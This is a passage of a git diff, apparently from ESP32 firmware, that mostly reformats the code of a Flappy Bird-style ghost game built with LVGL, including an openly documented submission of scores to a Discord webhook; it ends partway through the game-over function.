\ No newline at end of file diff --git a/main/managers/views/flappy_ghost.c b/main/managers/views/flappy_ghost.c index cf403ceb..cdec08f6 100644 --- a/main/managers/views/flappy_ghost.c +++ b/main/managers/views/flappy_ghost.c @@ -1,42 +1,38 @@ // flappy_bird_game.c -#include "managers/views/flappy_ghost_screen.h" #include "core/serial_manager.h" -#include "managers/views/main_menu_screen.h" +#include "esp_crt_bundle.h" +#include "esp_http_client.h" // For HTTP requests #include "esp_log.h" -#include -#include +#include "esp_wifi.h" // For internet connectivity check #include "lvgl.h" -#include "esp_wifi.h" // For internet connectivity check -#include "esp_http_client.h" // For HTTP requests #include "managers/settings_manager.h" -#include "esp_crt_bundle.h" - +#include "managers/views/flappy_ghost_screen.h" +#include "managers/views/main_menu_screen.h" +#include +#include #define MAX_PIPE_SETS 2 - #define GAME_LOOP_INTERVAL_MS LV_VER_RES > 320 ? 10 : 25 - typedef enum { - SCREEN_SIZE_SMALL, - SCREEN_SIZE_MEDIUM, - SCREEN_SIZE_LARGE + SCREEN_SIZE_SMALL, + SCREEN_SIZE_MEDIUM, + SCREEN_SIZE_LARGE } screen_size_t; - typedef struct { - int pipe_speed; // Speed at which pipes move left - int pipe_width; // Width of each pipe - float gravity; // Gravity affecting the bird - float flap_strength; // Upward velocity when the bird flaps - float pipe_gap_ratio; // Ratio of the screen height used as pipe gap - int bird_size; // Size of the bird (width and height) - lv_font_t *score_font; // Font size for the score label - int ground_height; // Height of the ground - int buffer_top; // Top buffer zone height - int buffer_bottom; // Bottom buffer zone height + int pipe_speed; // Speed at which pipes move left + int pipe_width; // Width of each pipe + float gravity; // Gravity affecting the bird + float flap_strength; // Upward velocity when the bird flaps + float pipe_gap_ratio; // Ratio of the screen height used as pipe gap + int bird_size; // Size of the bird (width and height) + lv_font_t *score_font; // Font size for the score label + int ground_height; // Height of the ground + int buffer_top; // Top buffer zone height + int buffer_bottom; // Bottom buffer zone height } game_settings_t; // Global Game Settings @@ -45,7 +41,8 @@ game_settings_t settings; // Function Prototypes screen_size_t get_screen_size(int height); void set_game_settings(int height); -void draw_halloween_night_sky(lv_obj_t *parent, lv_color_t bg_color, lv_color_t grad_color); +void draw_halloween_night_sky(lv_obj_t *parent, lv_color_t bg_color, + lv_color_t grad_color); void flappy_bird_view_create(void); void flappy_bird_view_destroy(void); void flappy_bird_view_hardwareinput_callback(InputEvent *event); @@ -64,8 +61,8 @@ bool internet_connected = false; // Define a structure for a single pipe typedef struct { - lv_obj_t *pipe; - int gap_center_y; + lv_obj_t *pipe; + int gap_center_y; } pipe_set_t; // Global Game Objects @@ -85,7 +82,7 @@ bool is_game_over = false; // Define Web Hook URL if not defined #ifndef FLAPPY_GHOST_WEB_HOOK - #define FLAPPY_GHOST_WEB_HOOK "" +#define FLAPPY_GHOST_WEB_HOOK "" #endif // Initialize the Flappy Bird View @@ -95,464 +92,490 @@ View flappy_bird_view = { .destroy = flappy_bird_view_destroy, .input_callback = flappy_bird_view_hardwareinput_callback, .name = "FlappyBirdView", - .get_hardwareinput_callback = flappy_bird_view_get_hardwareinput_callback -}; + .get_hardwareinput_callback = flappy_bird_view_get_hardwareinput_callback}; // Function to determine screen size category screen_size_t get_screen_size(int height) { - if (height <= 135) { - return SCREEN_SIZE_SMALL; - } else if (height <= 320) { - return SCREEN_SIZE_MEDIUM; - } else { - return SCREEN_SIZE_LARGE; - } + if (height <= 135) { + return SCREEN_SIZE_SMALL; + } else if (height <= 320) { + return SCREEN_SIZE_MEDIUM; + } else { + return SCREEN_SIZE_LARGE; + } } // Function to set game settings based on screen size void set_game_settings(int height) { - screen_size_t size = get_screen_size(height); - switch (size) { - case SCREEN_SIZE_SMALL: - settings.pipe_speed = 2; - settings.pipe_width = 20; - settings.gravity = 1.5f; - settings.flap_strength = -8.0f; - settings.pipe_gap_ratio = 0.2f; // 20% of screen height - settings.bird_size = 24; - settings.score_font = &lv_font_montserrat_14; - settings.ground_height = (int)(height * 0.1f); // 10% of screen height - break; - case SCREEN_SIZE_MEDIUM: - settings.pipe_speed = 3; - settings.pipe_width = 30; - settings.gravity = 2.0f; - settings.flap_strength = -10.0f; - settings.pipe_gap_ratio = 0.3f; // 30% of screen height - settings.bird_size = 32; - settings.score_font = &lv_font_montserrat_16; - settings.ground_height = (int)(height * 0.1f); // 10% of screen height - break; - case SCREEN_SIZE_LARGE: - settings.pipe_speed = 4; - settings.pipe_width = 40; - settings.gravity = 2.5f; - settings.flap_strength = -12.0f; - settings.pipe_gap_ratio = 0.35f; // 35% of screen height - settings.bird_size = 40; - settings.score_font = &lv_font_montserrat_24; - settings.ground_height = (int)(height * 0.1f); // 10% of screen height - break; - } - - settings.buffer_top = (int)(height * 0.25f); // 5% of screen height - settings.buffer_bottom = (int)(height * 0.05f); // 5% of screen height + screen_size_t size = get_screen_size(height); + switch (size) { + case SCREEN_SIZE_SMALL: + settings.pipe_speed = 2; + settings.pipe_width = 20; + settings.gravity = 1.5f; + settings.flap_strength = -8.0f; + settings.pipe_gap_ratio = 0.2f; // 20% of screen height + settings.bird_size = 24; + settings.score_font = &lv_font_montserrat_14; + settings.ground_height = (int)(height * 0.1f); // 10% of screen height + break; + case SCREEN_SIZE_MEDIUM: + settings.pipe_speed = 3; + settings.pipe_width = 30; + settings.gravity = 2.0f; + settings.flap_strength = -10.0f; + settings.pipe_gap_ratio = 0.3f; // 30% of screen height + settings.bird_size = 32; + settings.score_font = &lv_font_montserrat_16; + settings.ground_height = (int)(height * 0.1f); // 10% of screen height + break; + case SCREEN_SIZE_LARGE: + settings.pipe_speed = 4; + settings.pipe_width = 40; + settings.gravity = 2.5f; + settings.flap_strength = -12.0f; + settings.pipe_gap_ratio = 0.35f; // 35% of screen height + settings.bird_size = 40; + settings.score_font = &lv_font_montserrat_24; + settings.ground_height = (int)(height * 0.1f); // 10% of screen height + break; + } + + settings.buffer_top = (int)(height * 0.25f); // 5% of screen height + settings.buffer_bottom = (int)(height * 0.05f); // 5% of screen height } // Function to draw the Halloween night sky background -void draw_halloween_night_sky(lv_obj_t *parent, lv_color_t bg_color, lv_color_t grad_color) { - // Set up the gradient for the night sky background - lv_obj_set_style_bg_color(parent, bg_color, 0); - lv_obj_set_style_bg_grad_color(parent, grad_color, 0); - lv_obj_set_style_bg_grad_dir(parent, LV_GRAD_DIR_VER, 0); - - // Create the moon - lv_obj_t *moon = lv_obj_create(parent); - lv_obj_set_size(moon, 40, 40); - lv_obj_set_style_bg_color(moon, lv_color_hex(0xFFFFDD), 0); // Pale yellow - lv_obj_set_pos(moon, LV_HOR_RES - 60, 30); - lv_obj_set_style_bg_opa(moon, LV_OPA_COVER, 0); - lv_obj_clear_flag(moon, LV_OBJ_FLAG_SCROLLABLE); - - // Create the ground with scaled height - lv_obj_t *ground = lv_obj_create(parent); - lv_obj_set_size(ground, LV_HOR_RES, settings.ground_height); - lv_obj_set_style_bg_color(ground, lv_color_hex(0x101010), 0); // Dark gray - lv_obj_set_pos(ground, 0, LV_VER_RES - settings.ground_height); - lv_obj_clear_flag(ground, LV_OBJ_FLAG_SCROLLABLE); +void draw_halloween_night_sky(lv_obj_t *parent, lv_color_t bg_color, + lv_color_t grad_color) { + // Set up the gradient for the night sky background + lv_obj_set_style_bg_color(parent, bg_color, 0); + lv_obj_set_style_bg_grad_color(parent, grad_color, 0); + lv_obj_set_style_bg_grad_dir(parent, LV_GRAD_DIR_VER, 0); + + // Create the moon + lv_obj_t *moon = lv_obj_create(parent); + lv_obj_set_size(moon, 40, 40); + lv_obj_set_style_bg_color(moon, lv_color_hex(0xFFFFDD), 0); // Pale yellow + lv_obj_set_pos(moon, LV_HOR_RES - 60, 30); + lv_obj_set_style_bg_opa(moon, LV_OPA_COVER, 0); + lv_obj_clear_flag(moon, LV_OBJ_FLAG_SCROLLABLE); + + // Create the ground with scaled height + lv_obj_t *ground = lv_obj_create(parent); + lv_obj_set_size(ground, LV_HOR_RES, settings.ground_height); + lv_obj_set_style_bg_color(ground, lv_color_hex(0x101010), 0); // Dark gray + lv_obj_set_pos(ground, 0, LV_VER_RES - settings.ground_height); + lv_obj_clear_flag(ground, LV_OBJ_FLAG_SCROLLABLE); } // Function to check internet connectivity bool check_internet_connectivity() { - wifi_ap_record_t info; - if (esp_wifi_sta_get_ap_info(&info) == ESP_OK) { - return true; - } - return false; + wifi_ap_record_t info; + if (esp_wifi_sta_get_ap_info(&info) == ESP_OK) { + return true; + } + return false; } // Function to submit score to API void submit_score_to_api(const char *name, int score) { - if (strlen(FLAPPY_GHOST_WEB_HOOK) == 0) { - ESP_LOGE("HTTP", "WebHook URL is not defined."); - return; - } - - esp_log_level_set("esp_http_client", ESP_LOG_NONE); - - // Prepare JSON payload - int post_data_len = snprintf(NULL, 0, - "{" - "\"embeds\": [{" - "\"title\": \"New Score Submitted!\"," - "\"description\": \"A new score has been recorded.\"," - "\"color\": 16766720," - "\"fields\": [" - "{ \"name\": \"Player\", \"value\": \"%s\", \"inline\": true }," - "{ \"name\": \"Score\", \"value\": \"%d\", \"inline\": true }," - "{ \"name\": \"Resolution\", \"value\": \"%dx%d\", \"inline\": true }" - "]" - "}]" - "}", - name, score, LV_HOR_RES, LV_VER_RES) + 1; - - char *post_data = (char *)malloc(post_data_len); - if (!post_data) { - ESP_LOGE("HTTP", "Failed to allocate memory for post_data"); - return; - } - - snprintf(post_data, post_data_len, - "{" - "\"embeds\": [{" - "\"title\": \"New Score Submitted!\"," - "\"description\": \"A new score has been recorded.\"," - "\"color\": 16766720," - "\"fields\": [" - "{ \"name\": \"Player\", \"value\": \"%s\", \"inline\": true }," - "{ \"name\": \"Score\", \"value\": \"%d\", \"inline\": true }," - "{ \"name\": \"Resolution\", \"value\": \"%dx%d\", \"inline\": true }" - "]" - "}]" - "}", - name, score, LV_HOR_RES, LV_VER_RES); - - const char* WebHookURL = FLAPPY_GHOST_WEB_HOOK; - - esp_http_client_config_t config = { - .url = WebHookURL, - .timeout_ms = 5000, - .crt_bundle_attach = esp_crt_bundle_attach, - .transport_type = HTTP_TRANSPORT_OVER_SSL, - }; - - esp_http_client_handle_t client = esp_http_client_init(&config); - - esp_http_client_set_method(client, HTTP_METHOD_POST); - esp_http_client_set_header(client, "Content-Type", "application/json"); - esp_http_client_set_post_field(client, post_data, strlen(post_data)); - - esp_err_t err = esp_http_client_perform(client); - if (err == ESP_OK) { - ESP_LOGI("HTTP", "Score submitted successfully to Discord webhook"); - } else { - ESP_LOGE("HTTP", "Failed to submit score to Discord webhook"); - } - - free(post_data); - - esp_http_client_cleanup(client); - esp_log_level_set("esp_http_client", ESP_LOG_INFO); + if (strlen(FLAPPY_GHOST_WEB_HOOK) == 0) { + ESP_LOGE("HTTP", "WebHook URL is not defined."); + return; + } + + esp_log_level_set("esp_http_client", ESP_LOG_NONE); + + // Prepare JSON payload + int post_data_len = + snprintf( + NULL, 0, + "{" + "\"embeds\": [{" + "\"title\": \"New Score Submitted!\"," + "\"description\": \"A new score has been recorded.\"," + "\"color\": 16766720," + "\"fields\": [" + "{ \"name\": \"Player\", \"value\": \"%s\", \"inline\": true }," + "{ \"name\": \"Score\", \"value\": \"%d\", \"inline\": true }," + "{ \"name\": \"Resolution\", \"value\": \"%dx%d\", \"inline\": true }" + "]" + "}]" + "}", + name, score, LV_HOR_RES, LV_VER_RES) + + 1; + + char *post_data = (char *)malloc(post_data_len); + if (!post_data) { + ESP_LOGE("HTTP", "Failed to allocate memory for post_data"); + return; + } + + snprintf( + post_data, post_data_len, + "{" + "\"embeds\": [{" + "\"title\": \"New Score Submitted!\"," + "\"description\": \"A new score has been recorded.\"," + "\"color\": 16766720," + "\"fields\": [" + "{ \"name\": \"Player\", \"value\": \"%s\", \"inline\": true }," + "{ \"name\": \"Score\", \"value\": \"%d\", \"inline\": true }," + "{ \"name\": \"Resolution\", \"value\": \"%dx%d\", \"inline\": true }" + "]" + "}]" + "}", + name, score, LV_HOR_RES, LV_VER_RES); + + const char *WebHookURL = FLAPPY_GHOST_WEB_HOOK; + + esp_http_client_config_t config = { + .url = WebHookURL, + .timeout_ms = 5000, + .crt_bundle_attach = esp_crt_bundle_attach, + .transport_type = HTTP_TRANSPORT_OVER_SSL, + }; + + esp_http_client_handle_t client = esp_http_client_init(&config); + + esp_http_client_set_method(client, HTTP_METHOD_POST); + esp_http_client_set_header(client, "Content-Type", "application/json"); + esp_http_client_set_post_field(client, post_data, strlen(post_data)); + + esp_err_t err = esp_http_client_perform(client); + if (err == ESP_OK) { + ESP_LOGI("HTTP", "Score submitted successfully to Discord webhook"); + } else { + ESP_LOGE("HTTP", "Failed to submit score to Discord webhook"); + } + + free(post_data); + + esp_http_client_cleanup(client); + esp_log_level_set("esp_http_client", ESP_LOG_INFO); } // Function to create the Flappy Bird view void flappy_bird_view_create(void) { - if (flappy_bird_view.root != NULL) { - return; - } - - // Determine screen height - int screen_height = LV_VER_RES; - set_game_settings(screen_height); - - // Initialize variables based on the screen dimensions - pipe_gap = (int)(screen_height * settings.pipe_gap_ratio); - pipe_min_gap_y = (int)(screen_height * 0.05f); // 5% of screen height - pipe_max_gap_y = screen_height - pipe_gap - settings.ground_height; - bird_y_position = screen_height <= 128 ? 3 : screen_height / 2; - - // Create root object - flappy_bird_view.root = lv_obj_create(lv_scr_act()); - lv_obj_set_size(flappy_bird_view.root, LV_HOR_RES, screen_height); - lv_obj_set_style_bg_color(flappy_bird_view.root, lv_color_black(), 0); - lv_obj_clear_flag(flappy_bird_view.root, LV_OBJ_FLAG_SCROLLABLE); - - // Draw background - draw_halloween_night_sky(flappy_bird_view.root, - (screen_height <= 135) ? lv_color_hex(0x0D0D40) : - lv_color_hex(0x87CEEB), - (screen_height <= 135) ? lv_color_hex(0x0A0A30) : - lv_color_hex(0xFFA500)); - - // Create canvas for pipes - flappy_bird_canvas = lv_canvas_create(flappy_bird_view.root); - lv_obj_set_size(flappy_bird_canvas, LV_HOR_RES, screen_height); - lv_obj_set_scrollbar_mode(flappy_bird_canvas, LV_SCROLLBAR_MODE_OFF); - lv_obj_clear_flag(flappy_bird_canvas, LV_OBJ_FLAG_SCROLLABLE); - - // Create bird - bird = lv_img_create(flappy_bird_view.root); - - bool use_ghost_image = rand() % 2 == 0; - - lv_img_set_src(bird, &ghost); - - lv_obj_set_size(bird, settings.bird_size, settings.bird_size); - lv_obj_set_pos(bird, LV_HOR_RES / 4, bird_y_position); - lv_obj_clear_flag(bird, LV_OBJ_FLAG_SCROLLABLE); - - // Create pipe sets - for (int i = 0; i < MAX_PIPE_SETS; i++) { - // Initialize gap center position - pipes[i].gap_center_y = rand() % (pipe_max_gap_y - pipe_min_gap_y + 1) + pipe_min_gap_y; - - // Create pipe - pipes[i].pipe = lv_obj_create(flappy_bird_canvas); - lv_obj_set_size(pipes[i].pipe, settings.pipe_width, screen_height - pipes[i].gap_center_y - settings.ground_height); - lv_obj_set_style_bg_color(pipes[i].pipe, lv_color_hex(0x00FF00), 0); - lv_obj_set_style_radius(pipes[i].pipe, 0, 0); // Ensure sharp edges - lv_obj_set_pos(pipes[i].pipe, LV_HOR_RES + i * (LV_HOR_RES / MAX_PIPE_SETS), pipes[i].gap_center_y + pipe_gap); - lv_obj_set_scrollbar_mode(pipes[i].pipe, LV_SCROLLBAR_MODE_OFF); - lv_obj_clear_flag(pipes[i].pipe, LV_OBJ_FLAG_SCROLLABLE); - } - - // Create score label - score_label = lv_label_create(flappy_bird_view.root); - lv_label_set_text_fmt(score_label, "Score: %d", score); - lv_obj_align(score_label, LV_ALIGN_TOP_LEFT, 10, 10); - lv_obj_set_style_text_color(score_label, lv_color_white(), 0); - lv_obj_set_style_text_font(score_label, settings.score_font, 0); - lv_obj_clear_flag(score_label, LV_OBJ_FLAG_SCROLLABLE); - - // Add status bar - display_manager_add_status_bar(settings.pipe_speed > 3 ? "Flappy Ghost" : "Flap"); - - // Create game loop timer - game_loop_timer = lv_timer_create(flappy_bird_game_loop, GAME_LOOP_INTERVAL_MS, NULL); + if (flappy_bird_view.root != NULL) { + return; + } + + // Determine screen height + int screen_height = LV_VER_RES; + set_game_settings(screen_height); + + // Initialize variables based on the screen dimensions + pipe_gap = (int)(screen_height * settings.pipe_gap_ratio); + pipe_min_gap_y = (int)(screen_height * 0.05f); // 5% of screen height + pipe_max_gap_y = screen_height - pipe_gap - settings.ground_height; + bird_y_position = screen_height <= 128 ? 3 : screen_height / 2; + + // Create root object + flappy_bird_view.root = lv_obj_create(lv_scr_act()); + lv_obj_set_size(flappy_bird_view.root, LV_HOR_RES, screen_height); + lv_obj_set_style_bg_color(flappy_bird_view.root, lv_color_black(), 0); + lv_obj_clear_flag(flappy_bird_view.root, LV_OBJ_FLAG_SCROLLABLE); + + // Draw background + draw_halloween_night_sky( + flappy_bird_view.root, + (screen_height <= 135) ? lv_color_hex(0x0D0D40) : lv_color_hex(0x87CEEB), + (screen_height <= 135) ? lv_color_hex(0x0A0A30) : lv_color_hex(0xFFA500)); + + // Create canvas for pipes + flappy_bird_canvas = lv_canvas_create(flappy_bird_view.root); + lv_obj_set_size(flappy_bird_canvas, LV_HOR_RES, screen_height); + lv_obj_set_scrollbar_mode(flappy_bird_canvas, LV_SCROLLBAR_MODE_OFF); + lv_obj_clear_flag(flappy_bird_canvas, LV_OBJ_FLAG_SCROLLABLE); + + // Create bird + bird = lv_img_create(flappy_bird_view.root); + + bool use_ghost_image = rand() % 2 == 0; + + lv_img_set_src(bird, &ghost); + + lv_obj_set_size(bird, settings.bird_size, settings.bird_size); + lv_obj_set_pos(bird, LV_HOR_RES / 4, bird_y_position); + lv_obj_clear_flag(bird, LV_OBJ_FLAG_SCROLLABLE); + + // Create pipe sets + for (int i = 0; i < MAX_PIPE_SETS; i++) { + // Initialize gap center position + pipes[i].gap_center_y = + rand() % (pipe_max_gap_y - pipe_min_gap_y + 1) + pipe_min_gap_y; + + // Create pipe + pipes[i].pipe = lv_obj_create(flappy_bird_canvas); + lv_obj_set_size(pipes[i].pipe, settings.pipe_width, + screen_height - pipes[i].gap_center_y - + settings.ground_height); + lv_obj_set_style_bg_color(pipes[i].pipe, lv_color_hex(0x00FF00), 0); + lv_obj_set_style_radius(pipes[i].pipe, 0, 0); // Ensure sharp edges + lv_obj_set_pos(pipes[i].pipe, LV_HOR_RES + i * (LV_HOR_RES / MAX_PIPE_SETS), + pipes[i].gap_center_y + pipe_gap); + lv_obj_set_scrollbar_mode(pipes[i].pipe, LV_SCROLLBAR_MODE_OFF); + lv_obj_clear_flag(pipes[i].pipe, LV_OBJ_FLAG_SCROLLABLE); + } + + // Create score label + score_label = lv_label_create(flappy_bird_view.root); + lv_label_set_text_fmt(score_label, "Score: %d", score); + lv_obj_align(score_label, LV_ALIGN_TOP_LEFT, 10, 10); + lv_obj_set_style_text_color(score_label, lv_color_white(), 0); + lv_obj_set_style_text_font(score_label, settings.score_font, 0); + lv_obj_clear_flag(score_label, LV_OBJ_FLAG_SCROLLABLE); + + // Add status bar + display_manager_add_status_bar(settings.pipe_speed > 3 ? "Flappy Ghost" + : "Flap"); + + // Create game loop timer + game_loop_timer = + lv_timer_create(flappy_bird_game_loop, GAME_LOOP_INTERVAL_MS, NULL); } // Function to destroy the Flappy Bird view void flappy_bird_view_destroy(void) { - if (flappy_bird_view.root != NULL) { - is_game_over = false; - bird_y_position = LV_VER_RES / 2; - bird_velocity = 0; - score = 0; - - if (game_loop_timer != NULL) { - lv_timer_del(game_loop_timer); - game_loop_timer = NULL; - } - - lv_obj_del(flappy_bird_view.root); - flappy_bird_view.root = NULL; - flappy_bird_canvas = NULL; - bird = NULL; - for (int i = 0; i < MAX_PIPE_SETS; i++) { - pipes[i].pipe = NULL; - } - score_label = NULL; + if (flappy_bird_view.root != NULL) { + is_game_over = false; + bird_y_position = LV_VER_RES / 2; + bird_velocity = 0; + score = 0; + + if (game_loop_timer != NULL) { + lv_timer_del(game_loop_timer); + game_loop_timer = NULL; } + + lv_obj_del(flappy_bird_view.root); + flappy_bird_view.root = NULL; + flappy_bird_canvas = NULL; + bird = NULL; + for (int i = 0; i < MAX_PIPE_SETS; i++) { + pipes[i].pipe = NULL; + } + score_label = NULL; + } } // Input Callback Function void flappy_bird_view_hardwareinput_callback(InputEvent *event) { - if (is_game_over) { - lv_obj_t *game_over_container = lv_obj_get_child(flappy_bird_view.root, -1); - if (!game_over_container) return; - - lv_obj_t *game_over_label = lv_obj_get_child(game_over_container, -1); - - if (event->type == INPUT_TYPE_TOUCH) { - int touch_x = event->data.touch_data.point.x; - int touch_y = event->data.touch_data.point.y; - - lv_area_t area; - lv_obj_get_coords(game_over_container, &area); - - int padding = 10; - - if (touch_x >= (area.x1 - padding) && touch_x <= (area.x2 + padding) && - touch_y >= (area.y1 - padding) && touch_y <= (area.y2 + padding)) { - display_manager_switch_view(&main_menu_view); - } else { - flappy_bird_restart(); - } - } else if (event->type == INPUT_TYPE_JOYSTICK) { - if (event->data.joystick_index == 1) { - flappy_bird_restart(); - } else if (event->data.joystick_index == 0) { - display_manager_switch_view(&main_menu_view); - } - } - return; + if (is_game_over) { + lv_obj_t *game_over_container = lv_obj_get_child(flappy_bird_view.root, -1); + if (!game_over_container) + return; + + lv_obj_t *game_over_label = lv_obj_get_child(game_over_container, -1); + + if (event->type == INPUT_TYPE_TOUCH) { + int touch_x = event->data.touch_data.point.x; + int touch_y = event->data.touch_data.point.y; + + lv_area_t area; + lv_obj_get_coords(game_over_container, &area); + + int padding = 10; + + if (touch_x >= (area.x1 - padding) && touch_x <= (area.x2 + padding) && + touch_y >= (area.y1 - padding) && touch_y <= (area.y2 + padding)) { + display_manager_switch_view(&main_menu_view); + } else { + flappy_bird_restart(); + } + } else if (event->type == INPUT_TYPE_JOYSTICK) { + if (event->data.joystick_index == 1) { + flappy_bird_restart(); + } else if (event->data.joystick_index == 0) { + display_manager_switch_view(&main_menu_view); + } } + return; + } - if (event->type == INPUT_TYPE_JOYSTICK) { - int button = event->data.joystick_index; - if (button == 1) { - bird_velocity = settings.flap_strength; - } - } else if (event->type == INPUT_TYPE_TOUCH) { - bird_velocity = settings.flap_strength; + if (event->type == INPUT_TYPE_JOYSTICK) { + int button = event->data.joystick_index; + if (button == 1) { + bird_velocity = settings.flap_strength; } + } else if (event->type == INPUT_TYPE_TOUCH) { + bird_velocity = settings.flap_strength; + } } // Function to retrieve the input callback void flappy_bird_view_get_hardwareinput_callback(void **callback) { - if (callback != NULL) { - *callback = (void *)flappy_bird_view_hardwareinput_callback; - } + if (callback != NULL) { + *callback = (void *)flappy_bird_view_hardwareinput_callback; + } } // Game Loop Function void flappy_bird_game_loop(lv_timer_t *timer) { - if (is_game_over) { - return; - } - - // Update bird's physics - bird_velocity += settings.gravity; - bird_y_position += (int)bird_velocity; - lv_obj_set_pos(bird, LV_HOR_RES / 4, bird_y_position); - - // Update bird's angle based on velocity - int angle = (int)(bird_velocity * 5); - if (angle > 45) angle = 45; - if (angle < -45) angle = -45; - lv_img_set_angle(bird, angle * 10); - - // Check collision with ground or ceiling - if ((bird_y_position + lv_obj_get_height(bird)) >= (LV_VER_RES - settings.ground_height + settings.buffer_bottom) || - (bird_y_position <= -settings.buffer_top)) { - flappy_bird_game_over(); + if (is_game_over) { + return; + } + + // Update bird's physics + bird_velocity += settings.gravity; + bird_y_position += (int)bird_velocity; + lv_obj_set_pos(bird, LV_HOR_RES / 4, bird_y_position); + + // Update bird's angle based on velocity + int angle = (int)(bird_velocity * 5); + if (angle > 45) + angle = 45; + if (angle < -45) + angle = -45; + lv_img_set_angle(bird, angle * 10); + + // Check collision with ground or ceiling + if ((bird_y_position + lv_obj_get_height(bird)) >= + (LV_VER_RES - settings.ground_height + settings.buffer_bottom) || + (bird_y_position <= -settings.buffer_top)) { + flappy_bird_game_over(); + } + + // Update each pipe set + for (int i = 0; i < MAX_PIPE_SETS; i++) { + // Move pipe left + int pipe_x = lv_obj_get_x(pipes[i].pipe); + pipe_x -= settings.pipe_speed; + + if (pipe_x < -settings.pipe_width) { + pipe_x = LV_HOR_RES; + + // Update gap center position + pipes[i].gap_center_y = + rand() % (pipe_max_gap_y - pipe_min_gap_y + 1) + pipe_min_gap_y; + + // Resize and reposition pipe + lv_obj_set_size(pipes[i].pipe, settings.pipe_width, + LV_VER_RES - pipes[i].gap_center_y - + settings.ground_height); + lv_obj_set_pos(pipes[i].pipe, pipe_x, pipes[i].gap_center_y + pipe_gap); + + // Update score + score++; + lv_label_set_text_fmt(score_label, "Score: %d", score); + } else { + // Update pipe position + lv_obj_set_x(pipes[i].pipe, pipe_x); } - // Update each pipe set - for (int i = 0; i < MAX_PIPE_SETS; i++) { - // Move pipe left - int pipe_x = lv_obj_get_x(pipes[i].pipe); - pipe_x -= settings.pipe_speed; - - if (pipe_x < -settings.pipe_width) { - pipe_x = LV_HOR_RES; - - // Update gap center position - pipes[i].gap_center_y = rand() % (pipe_max_gap_y - pipe_min_gap_y + 1) + pipe_min_gap_y; - - // Resize and reposition pipe - lv_obj_set_size(pipes[i].pipe, settings.pipe_width, LV_VER_RES - pipes[i].gap_center_y - settings.ground_height); - lv_obj_set_pos(pipes[i].pipe, pipe_x, pipes[i].gap_center_y + pipe_gap); - - // Update score - score++; - lv_label_set_text_fmt(score_label, "Score: %d", score); - } else { - // Update pipe position - lv_obj_set_x(pipes[i].pipe, pipe_x); - } - - // Check collision with pipe - if (flappy_bird_check_collision(bird, pipes[i].pipe)) { - flappy_bird_game_over(); - } + // Check collision with pipe + if (flappy_bird_check_collision(bird, pipes[i].pipe)) { + flappy_bird_game_over(); } + } } // Collision Detection Function int flappy_bird_check_collision(lv_obj_t *bird, lv_obj_t *pipe) { - float padding_ratio = 0.02f; // 2% of screen height - int padding = (int)(LV_VER_RES * padding_ratio); + float padding_ratio = 0.02f; // 2% of screen height + int padding = (int)(LV_VER_RES * padding_ratio); - // Get bird's absolute coordinates - lv_area_t bird_area; - lv_obj_get_coords(bird, &bird_area); + // Get bird's absolute coordinates + lv_area_t bird_area; + lv_obj_get_coords(bird, &bird_area); - // Get pipe's absolute coordinates - lv_area_t pipe_area; - lv_obj_get_coords(pipe, &pipe_area); + // Get pipe's absolute coordinates + lv_area_t pipe_area; + lv_obj_get_coords(pipe, &pipe_area); - // Check for overlap with padding - bool overlap_x = (bird_area.x2 + padding) >= pipe_area.x1 && (bird_area.x1 - padding) <= pipe_area.x2; - bool overlap_y = (bird_area.y2 + padding) >= pipe_area.y1 && (bird_area.y1 - padding) <= pipe_area.y2; + // Check for overlap with padding + bool overlap_x = (bird_area.x2 + padding) >= pipe_area.x1 && + (bird_area.x1 - padding) <= pipe_area.x2; + bool overlap_y = (bird_area.y2 + padding) >= pipe_area.y1 && + (bird_area.y1 - padding) <= pipe_area.y2; - bool collision = overlap_x && overlap_y; + bool collision = overlap_x && overlap_y; - return collision ? 1 : 0; + return collision ? 1 : 0; } // Game Over Handling Function void flappy_bird_game_over() { - if (is_game_over) return; // Prevent multiple triggers - is_game_over = true; - - // Create a semi-transparent overlay - lv_obj_t *game_over_container = lv_obj_create(flappy_bird_view.root); - lv_obj_set_size(game_over_container, LV_HOR_RES - 40, LV_VER_RES * 0.3f); // 30% of screen height - lv_obj_align(game_over_container, LV_ALIGN_CENTER, 0, 0); - lv_obj_set_style_bg_color(game_over_container, lv_color_hex(0x000000), 0); - lv_obj_set_style_bg_opa(game_over_container, LV_OPA_70, 0); - lv_obj_set_style_border_width(game_over_container, 2, 0); - lv_obj_set_style_border_color(game_over_container, lv_color_hex(0xFFFFFF), 0); - lv_obj_set_scrollbar_mode(game_over_container, LV_SCROLLBAR_MODE_OFF); - lv_obj_clear_flag(game_over_container, LV_OBJ_FLAG_SCROLLABLE); - - // Create "Game Over" label with scaled font - lv_obj_t *game_over_label = lv_label_create(game_over_container); - lv_label_set_text(game_over_label, "Game Over!"); - lv_obj_set_style_text_color(game_over_label, lv_color_hex(0xFFFF00), 0); - lv_obj_set_style_text_font(game_over_label, settings.score_font, 0); // Reuse score_font for simplicity - lv_obj_align(game_over_label, LV_ALIGN_CENTER, 0, -10); // Adjust position as needed - - if (settings.pipe_speed > 3) - { - // Create "Retry" label - lv_obj_t *retry_label = lv_label_create(game_over_container); - lv_label_set_text(retry_label, "Tap to Retry"); - lv_obj_set_style_text_color(retry_label, lv_color_hex(0xFFFFFF), 0); - lv_obj_set_style_text_font(retry_label, settings.score_font, 0); - lv_obj_align(retry_label, LV_ALIGN_CENTER, 0, 20); - } - - // Check internet connectivity and submit score if connected - internet_connected = check_internet_connectivity(); - - if (internet_connected) { - submit_score_to_api(settings_get_flappy_ghost_name(&G_Settings), score); - } + if (is_game_over) + return; // Prevent multiple triggers + is_game_over = true; + + // Create a semi-transparent overlay + lv_obj_t *game_over_container = lv_obj_create(flappy_bird_view.root); + lv_obj_set_size(game_over_container, LV_HOR_RES - 40, + LV_VER_RES * 0.3f); // 30% of screen height + lv_obj_align(game_over_container, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_bg_color(game_over_container, lv_color_hex(0x000000), 0); + lv_obj_set_style_bg_opa(game_over_container, LV_OPA_70, 0); + lv_obj_set_style_border_width(game_over_container, 2, 0); + lv_obj_set_style_border_color(game_over_container, lv_color_hex(0xFFFFFF), 0); + lv_obj_set_scrollbar_mode(game_over_container, LV_SCROLLBAR_MODE_OFF); + lv_obj_clear_flag(game_over_container, LV_OBJ_FLAG_SCROLLABLE); + + // Create "Game Over" label with scaled font + lv_obj_t *game_over_label = lv_label_create(game_over_container); + lv_label_set_text(game_over_label, "Game Over!"); + lv_obj_set_style_text_color(game_over_label, lv_color_hex(0xFFFF00), 0); + lv_obj_set_style_text_font(game_over_label, settings.score_font, + 0); // Reuse score_font for simplicity + lv_obj_align(game_over_label, LV_ALIGN_CENTER, 0, + 